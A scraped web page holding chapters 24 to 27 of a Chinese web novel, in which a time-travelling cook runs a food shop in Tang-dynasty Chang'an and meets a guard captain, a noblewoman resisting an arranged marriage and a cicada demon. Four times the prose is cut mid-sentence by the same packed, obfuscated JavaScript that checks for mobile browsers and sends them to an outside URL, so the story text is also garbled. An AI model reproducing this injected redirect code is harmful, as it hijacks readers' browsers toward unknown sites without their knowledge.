八月正值盛夏酷暑，树上蝉鸣聒噪的厉害，段知微旁边站了个用手工编笼卖蝈蝈儿的老人，那叫声高低不一，此起彼伏。 段知微只好安慰自己，都是夏天的声音。 很快这好看的莲子羹吸引来了长安仕女，段知微赶紧打气精神问道：“娘子来份莲子羹吗，这莲子剔了芽心儿，煮得很软糯，而且里头搁了冰的，吃一碗消夏暑。” 那仕女确实拿着个团扇不停地扇风，听到“搁了冰”三个字眼前一亮：“那来碗尝尝。” 莲子确实煮得恰到好吃的软糯，银耳滑爽，还伴着微微的红枣香，最重要的是，这是凉的，依稀可以吃到里头一点小冰碴子。 很快段知微面前排起了队。 今日八字娘娘诞辰，就连宰相夫人也一大早的赶到，遑论其他官员。因此金吾卫加强了庙附近的巡防。 袁慎己带着自己的卫队在庙附近巡视，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464615|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼就看到了排着长队的摊子，于是他特意留意了一下，果然又是她。 晌午过后，八字娘娘庙人流开始渐渐稀疏，袁慎己又往那边走了一回，这次段知微的摊子前已经没有人了。 两个小孩玩得满脸是汗，段知微给每人来了一碗莲子羹，转头开始收拾摊子，一抬头，看见了大步往这边走的袁慎己。 她赶紧迎了上去，后面的蒲桃和朱娘也搁下手中的莲子羹朝着他跑去。 段知微最近老是想着磨喝乐娃娃的事情，无奈总遇不到袁慎己，现下终于遇到了，她也顾不上行礼，忙开口问道：“上回那个娃娃和高婆婆怎么样了。” 朱娘和蒲桃也抬头看他，三张颇为焦虑的脸一起面向他，不知为何，袁慎己觉得有些好笑：“已经送过去了，高婆婆也安然无恙，放心。” 段知微松口气，而后又不太好意思的补了叉手礼：“都尉不介意的话，来份莲子羹吧，里头搁了冰，消夏暑的。” 她打开已经封好的瓷缸，给他倒上一碗。 段知微忙碌着，脸色有些微微发红，几缕乌发丝散落下来，衬托的更加肌肤如雪。 也不能怪段知微头发散了一些，自从上回把叶脉簪给了磨喝乐娃娃以后，段大娘决计不让她再带任何带金子的饰品，她只好绑了根竹筷子。 袁慎己见她模样动人，不动声色移开了目光，想了想，又从怀里拿出一根叶脉簪。 段知微很是惊讶。 袁慎己道：“那磨喝乐托我还给你，说是已生受娘子大恩，不能再取你珍贵的簪子。” 段知微接过，心情有些复杂，这世道没钱寸步难行，不知磨喝乐跟高婆婆在那能不能过得好。 袁慎己看穿她的担心道：“段娘子不必忧心，袁某将身上一袋银钱赠与了高婆婆，想来能用上一段时日，之后若有差役路过勉县，袁某也会托人看顾的。” 这下几个人脸上都露出了喜悦的神情，段知微道：“都尉心系百姓，真是令人敬仰啊！” 蒲桃在后面不甘示弱，憋了半天道：“都尉真是如终南山的山峰一样可靠......” 这比喻说得新奇，惹得大家都笑了起来。 不远处，几个衣着华贵的娘子朝着他们看去。 其中一位正是袁慎己的表妹杜家二娘。从她们几个的角度看去，很像是袁慎己送了一根发簪给了段知微。 本朝虽然风气开放，但是男性给女性送上一份首饰，也只有上元佳节“月上柳梢头，人约黄昏后”的光景。 旁边一位蓝衣娘子看着杜二娘煽风点火：“妾当袁都尉是什么姑臧山上一块捂不热的石头，原来只在我们面前这般，到了别人那里，那可是热情的很。” 另一位娘子讪笑两声劝道：“汝南袁氏擅出武将，袁都尉当是前途无量，再怎么也不可能跟一个当垆的商贾有牵扯，定然是误会。” 蓝衣娘子道：“你怎知她是当垆的商贾？” “妾身在她家食肆定过立夏的香糖果子和乞巧的巧果儿，味道不错，造型也颇为别致。” 杜二娘倒是没露出什么争风吃醋的表情，只是颇为若有所思看着远处正在说话的袁慎己和段知微说道：“你刚刚说的那家食肆，地方在哪儿？” 25. 第二十五章 段知微意识到时序之更替的时刻，是夜风从燥热变得清凉、蝉鸣声变得微弱、葱郁的绿叶染上了金黄和橙红......以及逐日滞销的槐叶冷淘。 在吃了几日卖剩的槐叶冷淘后、在大家的脸都吃得发绿后，段知微终于决定本年度暂停槐叶冷淘供应。 所有人都松了口气。 这日一大早，段知微就开始和面，准备做一份玉尖面，听着好听又高雅，虽然说白了也就是包子而已...... 这吃食也可以算带馅馒头的老祖宗了，根据《清异录》记载，唐德宗喜爱一种名为“玉尖面”的馒头，这便是以熊白与鹿肉作馅。五代时候又有了包子，到了宋朝，那更是羊肉馒头、糖肉馒头、鱼肉馒头、蟹肉馒头满街吆喝了。 若是待金秋十月蟹肥了，肥瘦适中的肉蓉里掺上一大勺肥厚蟹黄，再兜进皮里。待时机一到，把蒸笼一掀，蒸腾的喷香白雾里，一个个白胖包子海碗那么大，黄澄澄的蟹油溢出来，那滋味儿...... 蒲桃适时打断了她的畅想：“娘子，您傻笑什么呢？” 段知微回过神，蒲桃指了指门外：“石匠把咱订做的石磨拖过来了。” 前些时候段知微就在琢磨时节往冬天过，卖朝食的时候可以顺便熬煮一大锅香浓豆浆，饮上一口胃都暖了；若是下雪日，挑一袋薄皮核桃磨成细细核桃酪，放到火炉上炖煮，就坐火炉边喝上一碗，甜滋滋黏糊糊的。 所以说，石磨是食肆不可缺少的物件之一。 段知微满心欢喜地喊了大家一起把石磨抬到了后院里。 熬豆浆也是有技巧的，段知微曾跟一个早餐店老板取过经，先用铁锅把黄豆给炒香一下，再放到石磨上去磨，豆浆不仅煮得快，而且非常香浓。 明日一早定能赚的盆满钵满，段知微一边翻炒黄豆一边美滋滋的想。 前些日子，在官署的长廊下吃槐叶冷淘闹了几日肚子的苏莯，每天早上都绕着段家食肆走，听闻朝食出了新品，又一大早来报道了。 段知微裹了满手的面粉正忙得团团赚，见苏莯便开口打招呼：“许久不见啊苏大人，来一屉儿玉尖面不？您是常客了，免费送碗豆浆。” 想来日头还早，苏莯便坐进了食肆里头等吃，很快段知微一手拿着一屉儿包子，另一手拿着一碗豆浆过来道：“糖在粗瓷罐子里，有需要自己加。” 她看一眼苏莯身上洗得干干净净的绿色官服，又贴心补充一句：“这包子汤汁多，吃的时候小心些儿。” 苏莯愣愣看她，似乎不解其意，可是今早实在太忙了，段知微话没说全，又转身埋头包包子去了。 苏莯看向桌上那一屉儿皮薄馅大的透油包子，不觉咽了咽口水，而后肚子咕噜噜叫了起来。 那包子看上去海碗一个大，十分的诱人，他忘记了段知微的劝告，直接咬了一大口上去，汤汁一下子溅了出来，倒是没有滴在衣服上，而是直接彪到了对面的食客脸上。 苏莯吓得赶紧赔上不是，对方是个五大三粗的络腮胡子，咬牙切齿地拿块布把脸擦干净，看上去很想揪住苏莯的领子跟他一顿单挑。 又见他一身绿色官服，深吸两口气忍住了。 段知微站在蒸笼边大声提醒每一个人，一定要先小小咬上一口，把汤喝了再咬。 食肆里都是浓郁的豆香和包子馅的肉香，真是热闹又慌乱的早晨。 晌午后眼瞅着没什么食客，段知微准备去趟东市再背上两大袋面粉回来，无论是做馎饦、馄饨、玉尖面还是烧麦，面粉可是完全少不了得的东西。 蒲桃照例跟着她一起往东市去，段知微听闻阿盘生日要到了，又见她成日两件粗麻衣裳来回穿，便琢磨着给她买匹好料子做套漂漂亮亮的襦裙。 段大娘给她大力推荐了东市的云想夹缬，想来这家夹缬果然是名声在外，她一路打听着，竟然真找到了这家。 看着这家夹缬店铺装饰的很是气派，琉璃瓦砾，雕梁画栋，段知微就有预感这家价格应该不怎么便宜。 抱着试一试的心态，她还是迈进了这家店中。 店里几面墙上都用红木架子展着各色的夹缬布料，店里许多仕女摇着团扇在闲逛，想来生意很是不错。 一名身着青梅绿纱裙的胡女笑盈盈的迎了上来，开始给段知微介绍各类花式的夹缬，莲花、石榴、忍冬、云头看得人眼花缭乱。 只是价格也确实高得令人咋舌，段知微和蒲桃选了一番，最终定下了一件绣着月亮云头纹的双色葛纱料子。 一匹六百二十纹钱，还不让砍价，段知微没能砍下价来，掏钱的时候不免有些郁闷。 几个伙计小心翼翼从后院抬出一匹朱红色的夹缬，这夹缬红的纯正，如丝般顺滑，店里四角点了几盏极亮的灯，照得这匹夹缬闪烁了些如月华隐隐流动的光芒，上面用暗金线绣着繁复的并蒂莲花和喜鹊踏枝，看样子应当是婚服的料子。 饶是段知微此等对服饰并不那么感兴趣的人，也对那料子多看了好几眼。 胡女见客人们都对那幅料子露出惊艳的神色，很是骄傲的跟她解释：“河东裴府的郎君与中书侍郎家的千金不日便将成婚，这便是裴氏在我们这订的料子，特意从敦煌请了画师画的喜鹊登枝。” 不消说了，这幅料子肯定价值不菲。段知微回去的路上突觉不对劲，那杜家的千金，不是喜欢袁慎己的吗，怎么这么快要嫁到河东裴氏去。 当段知微终于坐着她的驴车摇摇晃晃的到了食肆时，段大娘已经在铺子外的老树下等她了。 然后两眼冒光的推着她赶紧往铺子里走：“来了个贵人指定要见你，老身跟你讲，那贵人别说满头的珠钗了，身上那黄地联珠小团花纹锦就值咱铺子半年恁费了。” 段知微刚在夹缬被科普了一番衣料的珍贵，现下又被段大娘一顿念白后，只好跟着她又回了厅堂。 杜有容正坐在榻上低头搅动一碗酪浆，她确实美得鲜妍，秀发乌黑发亮，一根金累丝蝴蝶步摇斜斜插在发间。 见段知微出来，她重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475401|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重把酪浆往食案上一放，浑身平添一些凌厉，而后冷声笑道：“段娘子好巧一张嘴，南严寺竟然把妾糊弄过去了。” 段知微确实在南严寺将其忽悠了一顿，自觉有些气短，但想想这也不是什么大事，因此又挺直了腰杆道：“糊弄你什么了？” 杜有容眼珠子一转，又说道：“听闻金吾卫袁慎己很喜欢到你这儿来用膳？” 段知微猝不及防被她更改了话题，一时没反应过来。只好硬着头皮道：“这是食客的隐私，恕我不能相告。” 这其实是个借口，袁慎己只要有空就会骑着他那匹高大的枣红马来段家食肆，左邻右舍都看得见，拖他的福，慕名前来的食客也是不少。 但是这个话题不能继续讲，社会风气再怎么开放，两个娘子因为一个男人在食肆针锋相对的故事也过于难听了。 杜有容似乎并没能感受到段知微的一番苦心，她逼近段知微，不知道说了句什么，而后喊上后面两个家丁，摔掉了好几个食案。 食肆这般热闹，早吸引了不少人前来围观，食肆内几个娘子又不敢上前阻拦，只好护在了段知微面前，甄回这个胆小的书生倒是硬气了一回跑去拿了晾衣竹竿瞎舞了一通，被杜府家丁一个踉跄推出去了老远。 食肆的地方好些木头残片，杜有容满意点点头，带着家丁扬长而去。 段知微还愣在当地，段大娘只当她吓蒙，赶紧扑过来护住她：“好孩子，吓坏了吧，没事，咱一家都是良民，真真闹将起来，老身去官衙击鼓鸣冤！” 段知微倒是没什么被吓到的深色，她摊开自己的手掌心，那是刚刚杜有容靠近她时塞给她的东西。 是一块金箔，别说赔偿这几个食案了，这钱把木匠铺子买下来，人木匠还得再找两钱。 段知微还记得她凑近时苍白的脸上带着些决绝，把金箔塞给她的时候一双从未沾过阳春水的双手青筋爆起，抓住她手的时候却是很有力量。 段大娘也懵了，头一次见到金箔没露出一个笑脸，跟段知微两个人面面相觑。 段知微歪着头疑惑道：“她刚刚贴近我，把金箔塞进我手中的时候还对我说了两个字。” “她跟你说了什么！” “她跟我说......”段知微迟疑地低头看看那块金箔，又看向段大娘。 “她跟我说......抱歉。” 微雨初晴，杜府里一派清雅景象，柳丝搭在玉栏杆，蝉声渐起，庭院里湖光水色，木篱里挑出的香堇花开的正好，珠帘被风吹的叮铃作响，云想夹缬送来的连裳喜服搭在架子上。乌金香炉悠悠起香。 杜有容独坐在绣楼上，她脸上带着一汪浅笑，堂堂三品中书侍郎千金，竟然亲自织起布来。 过了一会脸上的浅笑倏然像是精美的面具裂了道口子，转换成了奇异的悲哀。 “我很快就是裴家妇了，你还是不愿出来见我吗？”她看了眼屋外，屋外只有一棵繁复茂盛的桑树而已。 回答她的只有满树的蝉鸣。 26. 第二十六章 新的食案很快就被木匠送到了食肆里，鉴于杜有容赔的金箔确实很值钱，这回段知微直接定制了翘头案，且两边挡板都雕刻了精美的花饰，这食案运进来，整个食肆的档次都提升了不少。 长安的流言蜚语传起来比秋风还跑得快，且说那日杜有容砸完食肆以后，众人不知这家小食肆怎么惹到了三品大员千金，都特意跑宣阳坊来打探一番，结果发现哎呀，味道还不错。食肆的生意反而好了起来。 真是托了杜有容的福。 反观另一边，当今圣人仁厚爱民，三品大员的千金竟亲自率家丁欺负寡妇孤女，不仅御史台的折子到处飞，那河东裴氏更是自视清贵大族，族中一出一个丞相，一出又一个丞相，怎能娶这等蛮横骄女，二者的议亲日程似乎也暂时停滞了。 这种利人损己的事究竟为什么要做，段知微真是百思不得其解。 不过她有其他更重要的事情要考虑。夏天人没什么胃口，食肆弄了这些槐花鸡蛋饼、绿豆粥啊什么的生意虽然还行，但也没有那么大好，现在秋风一起，段知微肯定要抓住这个机会，让食客们胃口大开，多赚些铜子儿。 果肆的伙计一大早就推着独轮车上门来送新摘的茄子，这是今秋的头一茬，茄子呈紫黑色，表皮光滑，段知微颠了一下，每个都沉甸甸的，随手扳开一个，里头的肉洁白厚实又细腻，茄子清香味足，段知微立刻就要了一框。 夏季限定的吃食已经全面停止，古人向来爱贴秋膘，段知微决定在秋风初始之际来打造一份烤肉，为此她很是大方的跟羊肉铺子订了两只大羊腿。 段知微难得自己抬起了毛笔，画了一个烤炉，北方人称“炙子”。这炙子烤炉分成上下两个部分，下面部分像个锅子，用来放碳。上面的部分叫炙盘，盘子是用一根根铁条钉起来的，铁条之间留有空隙，这样底下木碳的热度就会从空隙里透上去，从而烤熟食物。 只是画得实在是丑，段知微跟铁匠师傅手舞足蹈比划了半日，师傅勉强是听懂了她的意思。好在师傅手艺很是不错，送来的十来个炙子烤炉沉甸甸的很有份量。 盘子里铺上一层甜味大葱，把羊肉片成薄皮，两个大羊腿挂在食肆外分外扎眼。路过的旅人就是不吃，眼睛都要在上面瞄几眼。 再来便是把茄子一劈为二，腌上调料后再抹上厚厚一层蒜粒儿，也是放在碳火上烤，别有一番风味。 秋风渐起，人们的食欲都打开了，再加上这需要自己动手的烤肉实在是新奇，坊间一开市，段家食肆就坐满了人。 羊肉果然在本朝还是拥趸最多的一种肉类啊，段知微看着外面冗长的队伍感叹。 她只能喊阿盘多拿一些胡床给外面排队的食客坐着，又吩咐蒲桃用麻纸写上数字给人放号，为了防止排队的食客等的不耐烦，又熬煮了一大锅热腾腾的薄荷甘草茶放门外任食客取用。 店里烤木炭的热气和喧嚣的讲话声夹杂在一起很是热闹，段知微脚不沾地的忙碌了半日，终于把上完值的袁慎己盼来了。 滚热的碳火放进袁慎己面前的炙子烤炉中，段知微又捧着几盘腌渍好的羊肉片和茄子过来。 袁慎己抬手拦住她，正好段知微也想跟他谈谈杜家娘子的事，不客气的在他对面坐下来。 袁慎己从怀中掏出一叠飞钱递给段知微，段知微接过一看，上面足有一贯钱。 袁慎己做了个抱拳的姿势：“袁某表妹给娘子带来了极大的麻烦，这钱是杜府托我送来，算是给段娘子的赔偿。” 其实杜有容砸东西之前就给过赔偿了，她刚要开口，手上的飞钱被脸上木炭熏得黢黑的段大娘一把夺走，段大娘呲着个白色牙花乐呵呵跟袁慎己道个谢，拿着钱火速朝着后屋走去。 段知微叹口气还是决定说实话：“杜娘子砸店之前给了我一块金箔，还给我道歉了，只是这个行为实在是怪异，不知道她的用意何在。” 究竟为什么要做这种利人损己的事情，段知微想破了头都想不明白。 这话先放一边，眼瞅着碳火烧得正旺，段知微赶紧右手执箸把羊肉片和茄子都放到烤盘上，烤过的茄子肉质变得软糯绵密，混合着大量蒜蓉，吃起来定是蒜香浓郁，入口即化，再加上碳火烤过，更是别有一番风味。 羊肉底下的大葱先铺上烤炉，烤出来的香气带有焦糖甜味儿，羊肉则按照食客的喜好，喜欢嫩的还是焦的都凭自己心意，最上头一层韭菜花还能解腻。再配些小酒，真是神仙过的日子。 这边袁慎己略一思忖回道：“估计是想毁了杜家和裴家的亲事。” 两个世家大族，尤其裴姓更是声势显赫的名门望族，这门亲事在长辈们看来势在必行。 裴氏家风甚严，杜有容想毁了这门婚约，那只能败坏自己的名声了。 在热闹坊市一言不发，没有理由地就砸了寡妇孤女的店，对大力推崇太宗皇帝“君舟民水”思想的裴氏来讲，简直是个不可饶恕的错误。 能嫁入这样的人家，在寻常人看来简直是烧高香了，如若哪个娘子竟然不愿，那脑子真是被驴踢了。 不过段知微作为一个现代人倒也理解，盲婚哑嫁要不得啊，那裴家再怎么出名卿贤相，也是概率问题，万一跟她定亲的人偏就不好呢，再说了，杜家娘子似乎有心宜之人了吧。 这么想着，段知微悄悄看袁慎己一眼，再看一眼。 这人确实身形魁梧，面部轮廓硬朗英俊，又分明棱角，而且看着挺糙，内心还挺善良，上回还替自己日夜兼程跑了勉县一趟。 袁慎己察觉到她的小动作，颇觉好笑，而后认真回应道：“表妹心仪之人并不是我。” 杜有容简直天生是个演员，她可以在任何公众场合表演出一位貌美长安仕女对自家表哥的求而不得，比如端午节曲江池畔的加油，比如当着父母仆人的面去袁府嘘寒问暖，被拒绝后回家关门抹泪。 演技非常好，几乎认识杜府的都知道杜家二娘对自家表哥爱的深沉，非卿不嫁。除了袁慎己。 他刚来长安轮值时在杜府暂时住过几日，若哪天不小心在花园遇到这位表妹，杜有容总是随意福福身当作行礼，然后绕过他扬长而去，眼神都懒得分给他一个。而到了公共场合，她那双淡漠的眼睛又立刻多情了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483724|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 段知微听得一愣一愣的，片刻后她问袁慎己：“杜家娘子是不是被什么妖怪附身了？” 她站起来，匆匆跑进后院的库房中，金华猫四脚朝天的靠着柱子，面前食案上一坛子新丰酒，一大碗糟鱼吃得开心。 那糟鱼段知微十来天前刚用泥封坛口，准备糟上四十来天再启封，还特意藏到了房梁上，居然还是精准的被金华猫找了出来。 段知微心痛的一手把醉醺醺的金华猫提了起来：“养猫千日，用猫一时，赶紧跟我走。” 金华猫红着脸打个酒嗝：“？” 杜府建在永兴坊繁华地带，门口常年两个家奴守在那儿，寻常人想进入都难，幸而袁慎己是杜府常客，他难得坐了回马车，杜府家奴也不好掀开帘子检查，行了个礼放他进去了。 待嫁女儿的绣楼外男可不好随意进入，于是袁慎己去了前厅，段知微偷偷从后院一溜烟溜入了杜有容的绣楼。 这绣楼设在杜府的幽静之处，院子里几盆花卉花香四溢，段知微抱着金华猫绕着池塘走了一圈，看了两眼池塘里五颜六色的锦鲤，又扒着五色琉璃窗朝里头看了一圈，房间一角的绣架子上放着前日在云想夹缬看见的那件华丽的嫁衣。 段知微看眼金华猫问道：“怎么样，有没有什么异常？” 按照段知微的理解，杜有容从一位温柔善良的小娘子变得倨傲刁蛮、阴晴不定、时好时坏，那肯定是因为被什么妖怪附身了。 看在那片金箔和袁慎己的份上，段知微决定帮帮她。 段知微低头问面色突然有些凝重的金华猫：“怎么样，是不是有什么异常状况？” 金华猫抬头用鼻子用力嗅了嗅说道：“感觉四周有些妖怪的痕迹，但是这个味道四处都有，我不知道在哪儿啊。” 段知微默了一默，来一句：“要你有何用！” 金华猫大怒：“那你来，你来！” 两人拌嘴之际，天空突然下起了小雨，两人只好躲到桑树下的凉亭里。 金华猫突然眯起眼睛，说一句：“不对。” 这雨如同水晶帘子把凉亭慢慢围住，水汽自脚边慢慢涌了上来，但是这不对啊，太阳还明媚的挂在天上，天空一片湛蓝半点乌云都没有，这样的好天气，怎么会下雨呢。 所幸这雨下了一小会儿就停止掉了，段知微跟金华猫刚刚松一口气，一个好听的声音从凉亭上方传了出来。 段知微和金华猫同时抬头。 桑树枝上，一个长得极为漂亮的男人倚坐在树上，他一头飘逸的黑色长发垂下，眼眸深邃如暗色琉璃，皮肤白皙，面庞如精美雕刻的玉。 他穿一身飘逸的绿色长袍，长袍在风中微微飘动，整个人散发着某种清冷的光泽。 他就这么静静低头看向桑树下的一人一妖。 段知微和金华猫惊讶的说不出话来。 这个漂亮男人后背竟然长了一双质地轻盈的翅膀，如同一层薄纱，这翅膀上有许多纵横交错的纹路，在明媚阳光下闪烁着微漾的光芒。 他竟然笑了：“两位是在找我吗？” 27. 第二十七章 蝉妖（二） 对杜有容而言，袁慎己一直是一块非常好的挡箭牌，他年少有为而又不近美色，初见时分，他就明显的表达出对自家这位貌美表妹毫无兴趣。 这倒是正中了杜有容的下怀，她家世好，生得美貌，马上就到了及笄的年岁，如果不采取一些措施，恐怕自己的亲事立刻就能被定下来。 而这位表哥确实为自己挡下了无数的烂桃花。自己只要在任意场合表现出对他的一丝爱慕之意，流言蜚语就会立刻传出来。 这其实无伤大雅，女子地位高尚，风气开放的本朝，袁慎己行于霸桥上能收获一大捧的柳枝，自己的爱慕之情并不会伤到杜家和自己的名声。 但是这流言的效果显然很好，对杜有容趋之若鹜的世家子弟明显少了，毕竟那些自诩高贵、心高气傲的世家子弟，怎能允许未来的妻子心系在一名边疆武将身上。 只是万般小心也有失策的时候，那日自己前往城外桃林寺上香，马车于山间密林间穿行，却不知为何一阵风刚好吹开了马车帘。她侧头，一张娇俏桃花面，正好被跨马行进去山中打猎的裴垣看见。 第二日裴家请的官媒就带着足箱的聘礼踏入了杜府的门槛，河东裴氏满门清贵，裴垣本人生得英俊，似乎前途也大好，除了他似乎有个牵扯不清的表妹，没有其他缺点。但是在外人看来这也不算缺点。男人，哪有不三妻四妾的。 这门天大的“好事”落到她的头上，杜侍郎哪儿有不应的理，只觉自家占了便宜，这门亲事竟然就这样订下了。 身边的手帕交以为她心悦袁慎己，都很好心地过来安慰她，道一句裴家子弟也很好，若谈家世，甚至比袁慎己更好。 满心苦楚竟然无一人诉说，杜有容只觉已无前路，漫天的神佛也不肯庇佑。最后的孤注一掷只能是自毁名头上那要闹坊市欺压平民。 她觉得很对不起段知微，于是悄悄给段知微塞了一块金箔。 原以为会有点效果，毕竟侍郎千金欺压孤女实在算不上什么好名声，没想到那裴垣竟托人来安慰，表明这门亲事并不会因这点流言蜚语而断绝，杜有容满腔郁郁，心上人也不知了去向，只觉万念俱灰。 杜有容初遇蝉妖清吟是一个满月的夏夜，她独坐绣楼里为一匹浮光锦绣上片片竹叶，丫鬟去库房取金线去了，今日月华如清霜，她望一眼天上的月亮，感慨一句：“今夜的月色真美。” 不想一个清越好听的声音竟从院中桑树上传来附和道：“是啊，今天是个好天气呢。” 她吓了一大跳，以为遇了鬼，惶惶半日终于鼓起勇气犹豫着向院外望去，看到桑树上气定神闲斜倚着的蝉妖，蝉妖看她，笑得温柔。 他说他叫清吟。 这边段知微气势汹汹地抱着金华猫去了趟杜府，又灰溜溜的回来，后面还跟着一个双臂交叉，气定神闲的蝉妖。 说到这个段知微就气不打一处来，人家杜二娘子为了这个心爱的妖怪，付出了多少努力，恨不得赔上了自己的名声。而这个蝉妖呢，虽然确实是个漂亮妖怪，但是他看上去一脸事不关己，高高挂起的样子，仿佛一切都是杜二娘子的一厢情愿。 自古以来都是女人一腔热情奔赴，男人都不太靠谱，这么一看，竟连男妖怪都不怎么靠谱的样子。 今晨的时候段知微在后院收拾那棵老桂新开的桂花，这妖怪鼻子倒是很灵，竟是漫不经心来上一句：“杜府的桑树也待得够久了，本座换棵老桂待上几日。” 搁这度假呢，你看看他这说的是人话吗，哦对不起，他是妖。 段大娘也很不满意，自家院落的桂树上悠闲自得的躺着个男人像个什么样子！她怒气冲冲找到段知微，让这个莫名其妙的男人必须离开。 段知微：“那是个蝉化作的妖怪，我去赶他，万一他凶性大发怎么办。” 段大娘只好作罢。 那蝉妖一来便毫无顾虑的饮完了段知微一坛子新丰酒，接着躺在桂花树上睡着了，他不理她们，她们也不理他。 段知微觉得这蝉妖实在不识好歹。心肠冷得跟蛇一样，便也不高兴去管他。 马上就要立秋了，她要赶紧去跟肉铺订十来只鸭子。 与现代的鸭子们不同，长安的鸭子都养在泾河边上，饿了就吃谷子粒和蚯蚓，闲了时不时就在泾河里游上两圈，肉质既肥硕又紧实，是秋日长安人民的心头之好。 在本朝已经有了烤鸭做法，名为“炙鸭”，让鸭子自己喝下调味料，再把鸭子扔进炉子里烤，只不过这做法颇为原始，让本是现代人的段知微不太能接受的了。 向铁匠铺又订制了十来个银扦儿，十来个膘肥体壮的鸭子排排挂那竹竿子上，让食客自己挑选，选好了，段知微把鸭子扔进炉子里，底下燃上果木来烤，烤出的鸭子有浓郁果木香。 一食盒烤鸭片得整整齐齐，再附赠一小碟蒜泥、葱白丝、黄瓜条，也可以把胡饼剖开把烤鸭夹到中间去一起吃。 拆卸下来的鸭架子也不要扔，选几块油大的，在锅里煸出油来，撒上粗盐和花椒，鸭架子经过炸制变得酥脆可口，是一道快手的下酒佳肴。 若是客人多贪了几杯新丰酒，那还可以点上一份暖胃的烧鸭粥，里头除了鸭架还搁了细细的姜丝，入口很是鲜甜，还能暖暖胃。 一只鸭子竟然能有这么多种吃法，蒲桃很是钦佩自家娘子，不出意料，这烤鸭也确实大受欢迎，每日都需要提前预定，不然买都买不到。 这天忙碌了一整日，食肆每个人都累得抬不起手来，段知微烘了几个胡饼，又用剩的鸭架子加上些小青菜炖煮了一锅汤当暮食。 这汤奶白浓香，又加了酸萝卜丁解腻，配上烘烤焦脆的胡饼实在是好吃，所有人埋头默不作声的吃完，段知微不确定蝉妖需不需要吃暮食，绕到后院桂花树找他。 绕了一圈没看到他人，段知微以为蝉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493882|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖已经走了，她松了一口气准备回前厅，却听到树上传来声音：“找我什么事。” 她借着月光猛瞧了一番，才看到一个箕大小的蝉趴在树上，段知微自觉跟一只蝉说话显得自己脑子不正常，但既然已经来了，便问上一句：“你们蝉妖需要吃暮食吗？” “不必”蝉妖回答道。 那真是太好了，她心里这么想着，赶忙转身往外走，却听到后面传来一声：“给我来碗蜂蜜水，槐花蜜或者桂花蜜都可以。” 竟然还挑上了。 段知微觉得杜有容的脑子指定有点毛病，天下之大，无奇不有，喜欢谁不好，非要死心塌地爱上一个蝉妖。 另一边，杜有容托人取到了一份御制的金疮药。 前几日她去进香，不知为何差点从马车上摔下去，丫鬟云雀眼疾手快地扑到马车下给她当了肉垫，她人好好的，云雀的手臂被坚实的土地蹭出了巨大一个伤口，血流不止。 坊市间最好的大夫也请了，最贵的金疮药也从西市买回来了，云雀的伤口总是不见好，不仅不见好，最近反而伤口开始痒得厉害，还一阵阵的发痛。 云雀从小跟着杜有容，这次又因为她才受伤，搞得杜有容非常羞愧，今日好容易托请到了公主，要到一瓶御制的金疮药，赶忙到了云雀房间，亲自为她涂抹伤口。 云雀正疼得冷汗阵阵，见到杜有容赶紧想起来行礼，被杜有容一下拦住，而后坐到床边，亲自给云雀上药。 那伤口四周都发红肿胀，还有一些不明脓液渗出来，看上去非常可怖，杜有容只担心云雀疼痛，并不嫌弃，握住她的手腕就帮她涂抹上药。 很快她就觉察到不对劲，在她的指尖之下，那伤口就像活了一样，一起一伏的隐隐在跳动。 云雀突然疼得叫喊了出来，手臂上的创口突然鼓胀了起来，里面似乎有什么东西欲要突破皮肤阻碍冲出来。 另一个丫鬟黄莺吓得惊声尖叫了一下，而后反应过来，连滚带爬的出门喊人帮忙。 见云雀痛得几欲昏厥，杜有容环顾一圈，去桌上拿一把水果刀，咬牙把鼓胀的那块皮划破开来。 本来预想中的鲜血没有流淌下来，几只黑虫在血肉的滋养里开始以肉眼可见的速度膨胀变大，而后展开了翅膀，振翅飞出了窗外。 杜侍郎和柳夫人冲了进来，两个老人紧紧把杜有容搂在怀中，杜有容已然吓得有些呆滞，不料守在院外的侍卫突然发出嘈杂的尖叫。 